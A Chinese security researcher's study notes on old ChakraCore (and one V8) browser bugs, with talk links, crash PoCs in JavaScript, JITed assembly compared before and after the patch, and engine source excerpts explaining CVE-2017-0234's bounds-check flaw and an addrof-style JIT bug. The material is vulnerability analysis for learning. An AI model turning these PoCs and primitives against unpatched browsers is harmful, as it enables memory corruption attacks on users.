今年POC科恩讲了一个很赞的议题《Chrome Exploitation》,Slide一共175页,真的是走心了
- http://www.powerofcommunity.net/poc2019/Gengming.pdf
上周的周报里提过Blade Team讲了Safari
- http://powerofcommunity.net/poc2019/Zhiyang.pdf
所有的议程在这里
- http://www.powerofcommunity.net/schedule.htm
我一直很喜欢上交的Gossip,他们会定期发一些Paper的阅读笔记,喜欢分享,师傅们也很nice(虽然我没有认识的),Gossip有一个分享Paper阅读笔记的站点,最近他们把这个站点所有的文章以Markdown的模式传到了GitHub,方便线下阅读
- https://securitygossip.com/
- https://github.com/GoSSIP-SJTU/GoSSIP_Blog
这周学习了2019 SSTIC一个ChakraCore相关的议题《A tale of Chakra bugs through the years》
- https://www.sstic.org/media/SSTIC2019/SSTIC-actes/Pwning_Browsers/SSTIC2019-Slides-Pwning_Browsers-keith.pdf
其中提到了两个漏洞,跟大家分享一下我的学习心得
其中提到一个漏洞的背景知识如下,获取属性时的回调
漏洞所在代码
我在看到这一页的时候,想起了泉哥在《安全研究者的自我修养》说的训练自己挖洞能力
- https://mp.weixin.qq.com/s?__biz=MzU0MzgzNTU0Mw==&mid=2247483913&idx=1&sn=2a0558592e072389e348dc8f7c6223d1&scene=21#wechat_redirect
2、训练挖洞的双技能
(1)看洞:哪里看?历史漏洞的git log、bug报告、代码质量报告等等
(2)识洞:就是肉眼看代码找漏洞,即代码审计,难点也就是在这上面,训练方法继续往下看
3、代码审计训练
(1)根据自己目标定位,寻找相应的历史漏洞案例进行学习,比如要搞chrome就找chrome的历史漏洞
(2)掌握漏洞所在的模块或子系统,但不看完整的漏洞细节描述,尝试在漏洞版本中找出对应的漏洞
(3)如果(2)中未能找出漏洞,就去看漏洞细节描述,对比自己的审计过程,看遗漏了哪一步骤
(4)不断重复上述训练,直至相信:挖洞只是体力消耗,而非能力问题
这第4点说得,非常励志,因为挖洞挖久了,有时真的容易怀疑自己的能力,目标难度越大,越容易打击人。
于是我没有继续往下翻,仔细的读了读代码,成功看出了漏洞点,因为我没有读过ChakraCore的源码,所以看的仔细些,核心就是之前那个前置知识,获取元素的时候可以回调,回调里可以修改数组长度,由于循环部分已经通过了长度检查,所以OOB
POC
let a = [1,2,3];
// setting length to 4 means that a[3]
// is not defined on the array itself
// the spread operation will have to walk
// the prototype chain to see if it is defined
a.length = 4;
// a.__proto__ == Array.prototype
// callback will be executed when doing
// DirectGetItemAtFull for index 3
Array.prototype.__defineGetter__("3", function ()
{
a.length = 0x10000000;
a.fill(0x414141);
});
// trigger array spread, will trigger a segfault
Math.max(...a);
我之前在V8里看过类似的漏洞Pattern
V8一个漏洞Pattern一样的漏洞:CVE-2016-1646 Array.concat OOB
- https://bugs.chromium.org/p/chromium/issues/detail?id=594574
调用GetElement()
获取元素时触发回调
switch (array->GetElementsKind()) {
case FAST_SMI_ELEMENTS:
case FAST_ELEMENTS:
case FAST_HOLEY_SMI_ELEMENTS:
case FAST_HOLEY_ELEMENTS: {
// Run through the elements FixedArray and use HasElement and GetElement
// to check the prototype for missing elements.
Handle<FixedArray> elements(FixedArray::cast(array->elements()));
int fast_length = static_cast<int>(length); <-- fast_length keeps its value after entering the iteration below
DCHECK(fast_length <= elements->length());
for (int j = 0; j < fast_length; j++) {
HandleScope loop_scope(isolate);
Handle<Object> element_value(elements->get(j), isolate); <-- get the element with index j (leading to oob access)
if (!element_value->IsTheHole()) {
visitor->visit(j, element_value);
} else { <-- if it is a hole, it may go to its prototype for the value with index j
Maybe<bool> maybe = JSReceiver::HasElement(array, j);
if (!maybe.IsJust()) return false;
if (maybe.FromJust()) {
// Call GetElement on array, not its prototype, or getters won't
// have the correct receiver.
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate, element_value, Object::GetElement(isolate, array, j),
false); <-- here we redefine the function to get the value in array's __proto__ with index j
<-- inside our redefinition function we make the length of the array shorter (< fast_length)
visitor->visit(j, element_value);
}
}
}
break;
}
第二个是JIT洞,这个漏洞我没有看出来,但是其实我应该是可以看出来的,需要好好反思
- 首先
a[0] = 1.2;
,这一步会进行a[0]
的各项检查 - ChakraCore的JIT Compiler认为
b[0] = c;
是没有side-effect的 - 因为2里面没有side-effect,所以
return a[0]
会跳过检查
咋一看没啥问题
但是这里其实是存在回调导致的side-effect
定义valueOf
,通过赋值操作修改掉a
的类型,但是JIT Compiler认为它没有side-effect,所以不会有其它操作,直接返回a[0]
的值,就可以达到一个addrof
原语
在2017年的Pwn2Own上,腾讯湛卢实验室用两个漏洞攻破了Edge,分别是CVE-2017-0234和CVE-2017-0236
这周我把CVE-2017-0234的细节分析了一遍
补丁
- https://github.com/microsoft/ChakraCore/commit/a1345ad48064921e8eb45fa0297ce405a7df14d3
从补丁的Message可以猜测这个漏洞可能跟开发人员默认了4GB这个限制有关
[CVE-2017-0234] Too aggressive bound check removal
Don't eliminate bounds checks on virtual typed arrays if we can't guarantee that the accesses will be within 4Gb
CVE-2017-0234的Poc如下
function write(begin, end, step, num) {
for (var i = begin; i < end; i += step)
view[i] = num;
}
var buffer = new ArrayBuffer(0x10000);
var view = new Uint32Array(buffer);
write(0, 0x4000, 1, 0x1234);
write(0x3000000e, 0x40000010, 0x10000, 1851880825);
使用VS进行调试,程序会碰到异常自动断下,我们在右下角点击调用堆栈
可以看到当前程序的函数调用栈,可以看到问题出在ChakraCore.dll!Js::InterpreterStackFrame::CallLoopBody
,双击最上面的地址000001e58032014c()
可以出现地址对应的反汇编地址,图中的反汇编就是生成的JIT代码
我们拷贝部分代码出来,下面是部分寄存器的值,结合Poc我们可以分析出寄存器r12
存储的是第二个write()
函数调用里的第四个参数,寄存器r8
存储的是第二个write()
函数调用的第一个参数,也就是说这一句汇编对应的是给数组进行赋值操作,之所以乘以4
是因为这是个Uint32Array
数组,每个数据长度为4字节
000001E580320122 jle 000001E5803202EB
000001E580320128 mov dword ptr [rsi+9397Ch],eax
000001E58032012E inc eax
000001E580320130 cmp r8d,r9d
000001E580320133 jge 000001E580320171
000001E580320135 mov r10,r13
000001E580320138 mov r11,r10
000001E58032013B shr r11,30h
000001E58032013F cmp r11,1
000001E580320143 jne 000001E5803202FD
000001E580320149 mov r12d,r10d
000001E58032014C mov dword ptr [rbx+r8*4],r12d
R10D 6E617579 RBX 000001EDFFFF0000
R12D 6E617579 R8 000000003000000E R11 0000000000000001
>>> hex(1851880825)
'0x6e617579'
对应的崩溃现场代码,传入的参数就是JITed Code的地址,那么我们也可以打个断点把JITed Code打印出来
uint
InterpreterStackFrame::CallLoopBody(JavascriptMethod address)
{
...
uint newOffset = ::Math::PointerCastToIntegral<uint>(
CALL_ENTRYPOINT_NOASSERT(address, function, CallInfo(CallFlags_InternalFrame, 1), this));
...
return newOffset;
}
从函数断下的地方跳到上层调用
函数InterpreterStackFrame::DoLoopBodyStart()
会调用InterpreterStackFrame::CallLoopBody()
执行JITed Code,我们在此处打个断点
LoopHeader const * InterpreterStackFrame::DoLoopBodyStart(uint32 loopNumber, LayoutSize layoutSize, const bool doProfileLoopCheck, const bool isFirstIteration)
{
...
uint newOffset = 0;
if (fn->GetIsAsmJsFunction())
{
AutoRestoreLoopNumbers autoRestore(this, loopNumber, doProfileLoopCheck);
newOffset = this->CallAsmJsLoopBody(entryPointInfo->jsMethod);
}
else
{
AutoRestoreLoopNumbers autoRestore(this, loopNumber, doProfileLoopCheck);
newOffset = this->CallLoopBody(entryPointInfo->jsMethod);
}
...
return nullptr;
}
打好断点后,再次运行断下,左下角监控窗口找到entryPointInfo->jsMethod
的值,反汇编窗口跟过去,可以看到生成的JITed Code
此处补充一个知识点:ChakraCore为了区分指针和数据,会对整数进行box,具体就是与0x0001000000000000
进行或运算
将JITed Code完整拷贝出来,我们来读一下,理解下Patch前后的JITed Code有哪些区别
// 不重要的代码
0000026669150000 mov rax,26669180A78h
000002666915000A mov rax,qword ptr [rax]
000002666915000D add rax,1C30h
0000026669150014 jo 000002666915039F
000002666915001A cmp rsp,rax
000002666915001D jle 000002666915039F
0000026669150023 nop dword ptr [rax]
0000026669150026 nop dword ptr [rax]
000002666915002A mov qword ptr [rsp+20h],r9
000002666915002F mov qword ptr [rsp+18h],r8
0000026669150034 mov qword ptr [rsp+10h],rdx
0000026669150039 mov qword ptr [rsp+8],rcx
000002666915003E push rbp
0000026669150040 mov rbp,rsp
0000026669150043 sub rsp,38h
0000026669150047 push r15
0000026669150049 push r14
000002666915004B push r13
000002666915004D push r12
000002666915004F push rdi
0000026669150051 push rsi
0000026669150053 push rbx
// 这里开始
0000026669150055 sub rsp,30h 抬高栈顶
0000026669150059 mov rbx,26669181ED8h RBX = 0000026669181ED8
0000026669150063 mov rsi,7FF94DC4CEF8h RSI = 00007FF94DC4CEF8
000002666915006D mov rdi,26E692947C4h RDI = 0000026E692947C4
// 数据来自调试,此处获取传入的参数
0000026669150077 mov r12,qword ptr [rbp+20h] R12 = 000000F0EF6FDCB0
000002666915007B mov r13,qword ptr [r12+160h] R13 = 0001000000010000,根据上面的小知识点,可以看到这就是第三个参数0x10000
0000026669150083 mov r14,qword ptr [r12+168h] R14 = 000100006E617579,第四个参数1851880825
000002666915008B mov r15,qword ptr [r12+158h] R15 = 0001000040000010,第二个参数0x40000010
0000026669150093 mov rax,qword ptr [r12+170h] RAX = 000100003000000E,第一个参数0x3000000e
000002666915009B xor ecx,ecx ECX = 00000000
// 不理解这里在判断什么,像是一个恒不跳转的条件
000002666915009D mov byte ptr [rbx],1
00000266691500A0 mov byte ptr [rbx-15Eh],3
00000266691500A7 mov rdx,qword ptr [rdi+1784Ch]
00000266691500AE mov rdx,qword ptr [rdx+38h] RDX = 0000026E692E2940
00000266691500B2 mov byte ptr [rbx-15Eh],0
00000266691500B9 cmp byte ptr [rbx],1
00000266691500BC jne 00000266691501B1
// 判断第三个参数为整数
00000266691500C2 mov r8,r13 R8 = R13 = 0x10000
00000266691500C5 mov r9,r8 R8 = R13 = 0001000000010000
00000266691500C8 shr r9,30h R9 = R9>>30 = 0001000000010000>>30 = 0000000000000001
00000266691500CC cmp r9,1
00000266691500D0 jne 00000266691501CE
// 判断第一个参数为整数
00000266691500D6 mov r8d,r8d R8D = 0x10000
00000266691500D9 mov r9,rax R9 = RAX = 000100003000000E,第一个参数
00000266691500DC mov r10,r9 R10 = R9 = RAX = 000100003000000E
00000266691500DF shr r10,30h R10 = R10>>30 = 000100003000000E>>30 = 0x0000000000000001
00000266691500E3 cmp r10,1
00000266691500E7 jne 0000026669150222
// 判断第二个参数为整数
00000266691500ED mov r9d,r9d R9D = 0x3000000E
00000266691500F0 mov r10,r15 R10 = R15 = 0001000040000010
00000266691500F3 mov r11,r10 R11 = R10 = 0001000040000010
00000266691500F6 shr r11,30h R11 = R11>>30 = 0001000040000010>>30 = 0000000000000001
00000266691500FA cmp r11,1
00000266691500FE jne 000002666915027E
// 判断R11是否是指针
0000026669150104 mov r10d,r10d R10D = 40000010
0000026669150107 mov r11,rdx R11 = RDX = 0000026E692E2940
000002666915010A shr r11,30h R11 = R11>>30 = 0000026E692E2940>>30 = 0000000000000000
000002666915010E jne 00000266691502DF
// 湛泸的文章说这里是在判断虚表来检查是否是合法的typearray
// 根据寄存器RDX存储的是数组对象的指针刚好验证了这一点
// >dd rdx
// 0x0000026E692E2940 4dc4cef8 00007ff9 692a9540 0000026e
0000026669150114 cmp qword ptr [rdx],rsi RSI = 00007FF94DC4CEF8
0000026669150117 jne 00000266691502DF
// 此时RDX为数组对象的指针,偏移为0x38是数组的Buffer,这个指针指向的内存存储的是真正的数组数据
000002666915011D mov rsi,qword ptr [rdx+38h]
// 不明白这里在对比什么,栈空间?
0000026669150121 mov r11,26669180A78h
000002666915012B cmp rsp,qword ptr [r11]
000002666915012E jle 0000026669150319
// 从上面分析来看,ECX为0,并自增一,应该是循环计数器
0000026669150134 mov dword ptr [rdi+9397Ch],ecx
000002666915013A inc ecx
// 可以看到这里在比较循环的Begin要小于End
000002666915013C cmp r9d,r10d R9D = 3000000E,R10D = 40000010
000002666915013F jge 000002666915017D
// 第四个参数1851880825,判断是否是整数
0000026669150141 mov r11,r14 R14 = 000100006E617579,R11 = 0000026669180A78
0000026669150144 mov r13,r11
0000026669150147 shr r13,30h
000002666915014B cmp r13,1
000002666915014F jne 000002666915032B
// 经过一系列检查,我们看到就直接做了赋值操作,而整个流程只判断了循环的Begin小于End,其它条件一概没判断,导致一个OOB
0000026669150155 mov r13d,r11d R11D = 6E617579
0000026669150158 mov dword ptr [rsi+r9*4],r13d 执行赋值操作
// 加上循环的Step后进行判断,不溢出就下一次循环
000002666915015C add r9d,r8d
000002666915015F jno 0000026669150121
// 溢出了就退出
0000026669150161 sub r9d,r8d
0000026669150164 mov rcx,26E691DD898h
000002666915016E mov rax,7FF94D8F4850h
0000026669150178 call rax
000002666915017B jmp 0000026669150199
000002666915017D mov edx,r9d
0000026669150180 bts rdx,30h
0000026669150185 mov rax,rdx
0000026669150188 mov qword ptr [r12+170h],rax
0000026669150190 mov dword ptr [rdi],ecx
0000026669150192 mov rax,26h
0000026669150199 add rsp,30h
000002666915019D pop rbx
000002666915019F pop rsi
00000266691501A1 pop rdi
00000266691501A3 pop r12
00000266691501A5 pop r13
00000266691501A7 pop r14
00000266691501A9 pop r15
00000266691501AB mov rsp,rbp
00000266691501AE pop rbp
00000266691501B0 ret
用同样的方式,我们打印出Patch之后的JITed Code,对比都添加了哪些检查
可以看到下面标出的两个新增检查点:
- 计数器是否为负数
- 循环End是否大于数组长度
// 不重要的代码
000002E734590000 mov rax,2DE342E0A98h
000002E73459000A mov rax,qword ptr [rax]
000002E73459000D add rax,1C20h
000002E734590014 jo 000002E73459036D
000002E73459001A cmp rsp,rax
000002E73459001D jle 000002E73459036D
000002E734590023 nop dword ptr [rax]
000002E734590026 mov qword ptr [rsp+20h],r9
000002E73459002B mov qword ptr [rsp+18h],r8
000002E734590030 mov qword ptr [rsp+10h],rdx
000002E734590035 mov qword ptr [rsp+8],rcx
000002E73459003A push rbp
000002E73459003C mov rbp,rsp
000002E73459003F sub rsp,30h
000002E734590043 push r15
000002E734590045 push r14
000002E734590047 push r13
000002E734590049 push r12
000002E73459004B push rdi
000002E73459004D push rsi
000002E73459004F push rbx
// 这里开始
000002E734590051 sub rsp,28h
000002E734590055 mov rbx,2DE342B01C0h
000002E73459005F mov rsi,7FFBD004EA28h
000002E734590069 mov rdi,2E6343F47C4h
000002E734590073 mov r12,qword ptr [rbp+20h]
000002E734590077 mov r13,qword ptr [r12+160h]
000002E73459007F mov r14,qword ptr [r12+168h]
000002E734590087 mov r15,qword ptr [r12+158h]
000002E73459008F mov rax,qword ptr [r12+170h]
000002E734590097 xor ecx,ecx
000002E734590099 mov byte ptr [rbx+31D38h],1
000002E7345900A0 mov byte ptr [rbx+31BDAh],3
000002E7345900A7 mov rdx,qword ptr [rdi+1784Ch]
000002E7345900AE mov rdx,qword ptr [rdx+38h]
000002E7345900B2 mov byte ptr [rbx+31BDAh],0
000002E7345900B9 cmp byte ptr [rbx+31D38h],1
000002E7345900C0 jne 000002E7345901C9
000002E7345900C6 mov r8,r13
000002E7345900C9 mov r9,r8
000002E7345900CC shr r9,30h
000002E7345900D0 cmp r9,1
000002E7345900D4 jne 000002E7345901DF
000002E7345900DA mov r8d,r8d
000002E7345900DD mov r9,rax
000002E7345900E0 mov r10,r9
000002E7345900E3 shr r10,30h
000002E7345900E7 cmp r10,1
000002E7345900EB jne 000002E73459022C
000002E7345900F1 mov r9d,r9d
000002E7345900F4 mov r10,r15
000002E7345900F7 mov r11,r10
000002E7345900FA shr r11,30h
000002E7345900FE cmp r11,1
000002E734590102 jne 000002E734590281
000002E734590108 mov r10d,r10d
000002E73459010B mov r11,rdx
000002E73459010E shr r11,30h
000002E734590112 jne 000002E7345902DB
000002E734590118 cmp qword ptr [rdx],rsi
000002E73459011B jne 000002E7345902DB
// 新增判断:判断循环的End是否超过数组长度
000002E734590121 mov esi,dword ptr [rdx+20h]
000002E734590124 cmp r10d,esi
000002E734590127 jg 000002E7345902EE
000002E73459012D mov rbx,qword ptr [rdx+38h]
// 循环点
000002E734590131 mov rsi,2DE342E0A98h
000002E73459013B cmp rsp,qword ptr [rsi]
000002E73459013E jle 000002E734590321
000002E734590144 mov dword ptr [rdi+9397Ch],ecx
000002E73459014A inc ecx
// 判断索引小于循环End
000002E73459014C cmp r9d,r10d
000002E73459014F jge 000002E734590195
// 新增判断:判断R9D为非负数
000002E734590151 test r9d,r9d
000002E734590154 js 000002E734590333
000002E73459015A mov rsi,r14
000002E73459015D mov r11,rsi
000002E734590160 shr r11,30h
000002E734590164 cmp r11,1
000002E734590168 jne 000002E73459034F
// 做赋值操作
000002E73459016E mov esi,esi
000002E734590170 mov dword ptr [rbx+r9*4],esi
000002E734590174 add r9d,r8d
000002E734590177 jno 000002E734590131
000002E734590179 sub r9d,r8d
000002E73459017C mov rcx,2E634345648h
000002E734590186 mov rax,7FFBCFCF5A70h
000002E734590190 call rax
000002E734590193 jmp 000002E7345901B1
000002E734590195 mov edx,r9d
000002E734590198 bts rdx,30h
000002E73459019D mov rax,rdx
000002E7345901A0 mov qword ptr [r12+170h],rax
000002E7345901A8 mov dword ptr [rdi],ecx
000002E7345901AA mov rax,26h
000002E7345901B1 add rsp,28h
000002E7345901B5 pop rbx
000002E7345901B7 pop rsi
000002E7345901B9 pop rdi
000002E7345901BB pop r12
000002E7345901BD pop r13
000002E7345901BF pop r14
000002E7345901C1 pop r15
000002E7345901C3 mov rsp,rbp
000002E7345901C6 pop rbp
000002E7345901C8 ret
这里我们不过多的讨论优化的流程和细节,通过调用堆栈知道当前漏洞代码所处的位置即可
>k
索引 函数
--------------------------------------------------------------------------------
*1 ChakraCore.dll!GlobOpt::OptArraySrc(IR::Instr * * const instrRef)
2 ChakraCore.dll!GlobOpt::OptInstr(IR::Instr * & instr, bool * isInstrRemoved)
3 ChakraCore.dll!GlobOpt::OptBlock(BasicBlock * block)
4 ChakraCore.dll!GlobOpt::ForwardPass()
5 ChakraCore.dll!GlobOpt::Optimize()
6 ChakraCore.dll!Func::TryCodegen()
7 ChakraCore.dll!Func::Codegen(Memory::JitArenaAllocator * alloc, JITTimeWorkItem * workItem, ThreadContextInfo * threadContextInfo, ScriptContextInfo * scriptContextInfo, JITOutputIDL * outputData, Js::EntryPointInfo * epInfo, const FunctionJITRuntimeInfo * const runtimeInfo, JITTimePolymorphicInlineCacheInfo * const polymorphicInlineCacheInfo, void * const codeGenAllocators, Js::ScriptContextProfiler * const codeGenProfiler, const bool isBackgroundJIT)
8 ChakraCore.dll!NativeCodeGenerator::CodeGen(Memory::PageAllocatorBase<Memory::VirtualAllocWrapper,Memory::SegmentBase<Memory::VirtualAllocWrapper>,Memory::PageSegmentBase<Memory::VirtualAllocWrapper> > * pageAllocator, CodeGenWorkItem * workItem, const bool foreground)
9 ChakraCore.dll!NativeCodeGenerator::Process(JsUtil::Job * const job, JsUtil::ParallelThreadData * threadData)
10 ChakraCore.dll!JsUtil::BackgroundJobProcessor::Process(JsUtil::Job * const job, JsUtil::ParallelThreadData * threadData)
11 ChakraCore.dll!JsUtil::BackgroundJobProcessor::Run(JsUtil::ParallelThreadData * threadData)
12 ChakraCore.dll!JsUtil::BackgroundJobProcessor::StaticThreadProc(void * lpParam)
13 ChakraCore.dll!invoke_thread_procedure(unsigned int(*)(void *) procedure, void * const context)
14 ChakraCore.dll!thread_start<unsigned int (__cdecl*)(void * __ptr64)>(void * const parameter)
15 [外部代码]
我们知道了漏洞代码所处的位置,现在来分析漏洞的成因
Patch后的代码,我通过调试打印出了运行时的变量数据
if (baseValueType.IsLikelyOptimizedVirtualTypedArray() && !Js::IsSimd128LoadStore(instr->m_opcode) /*Always extract bounds for SIMD */)
{
if (isProfilableStElem ||
!instr->IsDstNotAlwaysConvertedToInt32() ||
( (baseValueType.GetObjectType() == ObjectType::Float32VirtualArray ||
baseValueType.GetObjectType() == ObjectType::Float64VirtualArray) &&
!instr->IsDstNotAlwaysConvertedToNumber()
)
)
{
// Unless we're in asm.js (where it is guaranteed that virtual typed array accesses cannot read/write beyond 4GB),
// check the range of the index to make sure we won't access beyond the reserved memory beforing eliminating bounds
// checks in jitted code.
if (!GetIsAsmJSFunc())
{
// idxOpnd = 0x000001dae1efc4e0 {m_sym=0x000001dae1efc030 {byteCodeRegSlot=0x00000006 byteCodeFunc=0x00000055e1ffef60 {...} } ...} IR::RegOpnd *
IR::RegOpnd * idxOpnd = baseOwnerIndir->GetIndexOpnd();
if (idxOpnd)
{
// idxSym = 0x000001dae1ef2560 {byteCodeRegSlot=0x00000006 byteCodeFunc=0x00000055e1ffef60 {m_alloc=0x00000055e1fff8f0 {...} ...} } StackSym * {ByteCodeStackSym}
StackSym * idxSym = idxOpnd->m_sym->IsTypeSpec() ? idxOpnd->m_sym->GetVarEquivSym(nullptr) : idxOpnd->m_sym;
// idxValue = 0x000001dae1efda00 {valueNumber=0x00000010 valueInfo=0x000001dae1efbfa0 {bounds=0x000001dae1efbeb0 {...} ...} } Value *
Value * idxValue = FindValue(idxSym);
// idxConstantBounds = {lowerBound=0x00000000 upperBound=0x00000000 } IntConstantBounds
IntConstantBounds idxConstantBounds;
// idxConstantBounds = {lowerBound=0x80000000 upperBound=0x7ffffffe } IntConstantBounds
if (idxValue && idxValue->GetValueInfo()->TryGetIntConstantBounds(&idxConstantBounds))
{
// indirScale = 0x02 '\x2' unsigned char
BYTE indirScale = Lowerer::GetArrayIndirScale(baseValueType);
// upperBound = 0x7ffffffe int
int32 upperBound = idxConstantBounds.UpperBound();
// lowerBound = 0x80000000 int
int32 lowerBound = idxConstantBounds.LowerBound();
// 关键的一个判断
// lowerBound >= 0:下边界大于0
// (static_cast<uint64>(upperBound) << indirScale:表示数组最大长度*数组元素大小,这里indirScale的值为0x02,表示一个元素占用4字节
// #define MAX_ASMJS_ARRAYBUFFER_LENGTH 0x100000000 //4GB
// 所以整个判断的核心就是:判断边界的时候,需要以数组长度*元素大小来判断
// 猜测:该漏洞应该是没有做4GB的判断,导致数组长度*元素大小超过4GB,访问的时候就越界了
if (lowerBound >= 0 && ((static_cast<uint64>(upperBound) << indirScale) < MAX_ASMJS_ARRAYBUFFER_LENGTH))
{
eliminatedLowerBoundCheck = true;
eliminatedUpperBoundCheck = true;
canBailOutOnArrayAccessHelperCall = false;
}
}
}
}
else
{
eliminatedLowerBoundCheck = true;
eliminatedUpperBoundCheck = true;
canBailOutOnArrayAccessHelperCall = false;
}
}
}
猜测归猜测,具体还是要落实到代码来理解,找到Poc里创建ArrayBuffer
的代码
JavascriptArrayBuffer::JavascriptArrayBuffer(uint32 length, DynamicType * type) :
ArrayBuffer(length, type, (IsValidVirtualBufferLength(length)) ? AllocWrapper : malloc)
{
}
打个断点
length 0x00010000 unsigned int
Js::Type {typeId=TypeIds_ArrayBuffer (0x00000029) flags=TypeFlagMask_None (0x00 '\0') javascriptLibrary=0x000002867b148000 {...} ...} Js::Type
在创建数组的代码里,我们看到有一个判断,这里要走入WIN64
bool JavascriptArrayBuffer::IsValidVirtualBufferLength(uint length)
{
#if _WIN64
/*
1. length >= 2^16
2. length is power of 2 or (length > 2^24 and length is multiple of 2^24)
3. length is a multiple of 4K
*/
return (!PHASE_OFF1(Js::TypedArrayVirtualPhase) &&
(length >= 0x10000) &&
(((length & (~length + 1)) == length) ||
(length >= 0x1000000 &&
((length & 0xFFFFFF) == 0)
)
) &&
((length % AutoSystemInfo::PageSize) == 0)
);
#else
return false;
#endif
}
一共是如下几个判断,主要是长度大于0x10000
且页对齐
1. length >= 2^16
2. length is power of 2 or (length > 2^24 and length is multiple of 2^24)
3. length is a multiple of 4K
!PHASE_OFF1(Js::TypedArrayVirtualPhase)
length >= 0x10000:我们创建的长度为0x10000,满足,这也就是为什么长度为0x10000的原因
((length & (~length + 1)) == length) || (length >= 0x1000000 && ((length & 0xFFFFFF) == 0))
(length % AutoSystemInfo::PageSize) == 0
条件满足就使用AllocWrapper
来分配内存,根据定义,AllocWrapper
会调用VirtualAlloc
来分配内存,首先是申请地址,使用4GB的保留空间MEM_RESERVE
,然后使用实际的数组长度进行提交MEM_COMMIT
#define MAX_ASMJS_ARRAYBUFFER_LENGTH 0x100000000 //4GB
static void*__cdecl AllocWrapper(DECLSPEC_GUARD_OVERFLOW size_t length)
{
#if _WIN64
// 4GB的保留空间
LPVOID address = VirtualAlloc(nullptr, MAX_ASMJS_ARRAYBUFFER_LENGTH, MEM_RESERVE, PAGE_NOACCESS);
//throw out of memory
if (!address)
{
Js::Throw::OutOfMemory();
}
// 使用实际的数组长度length进行提交
LPVOID arrayAddress = VirtualAlloc(address, length, MEM_COMMIT, PAGE_READWRITE);
if (!arrayAddress)
{
VirtualFree(address, 0, MEM_RELEASE);
Js::Throw::OutOfMemory();
}
return arrayAddress;
#else
Assert(false);
return nullptr;
#endif
}
到这里,我们可以结合补丁的Message进行猜测,开发者会以为超过0x10000
的数组使用了4GB的保留空间会很安全,所以移除了边界检查,但是没有考虑到元素大小,导致OOB
漏洞分析到这里就结束了,结束了吗?
其实远没有结束,还有很多要思考的:ChakraCore的解释器流程更详细的分析,如何进入JIT,进入JIT之后都有哪些Phase,如何处理IR,更多的内部机制和特性等等
好好学习:))
大佬们带带弟弟吧,我学不动了:((